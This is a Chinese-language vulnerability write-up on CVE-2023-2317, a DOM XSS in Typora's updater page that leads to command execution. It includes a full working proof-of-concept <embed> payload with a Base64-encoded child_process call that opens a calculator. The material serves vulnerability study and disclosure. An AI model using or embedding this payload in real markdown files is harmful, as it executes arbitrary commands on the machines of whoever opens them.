Typora_RCE漏洞(CVE-2023-2317)

漏洞详情

漏洞名称:Typora远程代码执行漏洞

漏洞编号:CVE-2023-2317

漏洞原理:Windows和Linux版本1.6.7之前的Typora中的updater/updater.html中存在基于DOM型的XSS漏洞,该漏洞允许通过加载特制的markdown文件从而使得执行任意Javascript代码。如果用户打开恶意markdown文件或者从恶意网站复制文本并将其粘贴到Typora,通过在<embed>标签中引用updater.html,则可以利用此漏洞,此外,攻击者可以使用特权接口reqnode访问节点模块child_process并执行任意系统命令。

漏洞复现

弹计算器

1
2
3
4
5
6
# Payload
reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator'})[navigator.platform.substr(0,5)])
# 经过Base64编码后获得
cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3InfSlbbmF2aWdhdG9yLnBsYXRmb3JtLnN1YnN0cigwLDUpXSk=
# 完整的PoC
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3InfSlbbmF2aWdhdG9yLnBsYXRmb3JtLnN1YnN0cigwLDUpXSk='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
  1. 新建一个markdown文件把上述完整的PoC粘贴进去

    image-20230831164347551

  2. Typora自动识别为HTML文件并弹出计算器

    image-20230831163613471